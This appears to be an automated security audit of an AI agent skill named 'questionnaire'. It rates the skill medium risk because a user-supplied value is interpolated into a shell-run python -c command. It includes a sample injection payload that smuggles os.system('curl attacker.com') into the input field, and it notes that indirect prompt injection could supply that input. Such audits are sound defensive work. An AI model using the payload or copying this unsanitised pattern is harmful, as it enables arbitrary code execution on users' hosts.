questionnaire

Warn

Audited by Gen Agent Trust Hub on Jun 23, 2026

Risk Level: MEDIUMCOMMAND_EXECUTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill constructs a Python script by interpolating a user-provided value into the <BANK> placeholder inside a python -c command.
  • Evidence: In SKILL.md, Step 3 shows bank_name = '<BANK>' being placed inside a multi-line Python string executed via the shell.
  • Risk: A malicious user or an indirect prompt injection could provide a crafted input for the questionnaire choice (e.g., sig_lite'; import os; os.system('curl attacker.com'); #) to achieve arbitrary code execution on the host machine.
  • [DYNAMIC_EXECUTION]: The skill uses Python's -c flag to execute dynamically generated code blocks at runtime.
  • Evidence: SKILL.md contains multiple blocks where <PYTHON_CMD> -c "..." is used to run Python logic for database access and questionnaire processing.
  • Context: While this is a common pattern for agent skills, the inclusion of unsanitized user input into these execution blocks increases the security risk.
  • [REMOTE_CODE_EXECUTION]: The skill relies on the execution of Python code that imports vendor-specific libraries (shasta.*).
  • Evidence: It imports shasta.db.schema, shasta.questionnaire.engine, etc., in SKILL.md.
  • Analysis: These are likely internal packages provided by the skill author (transilienceai). No external or unauthorized remote downloads were detected.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jun 23, 2026, 08:35 PM
Security Audit — agent-trust-hub — questionnaire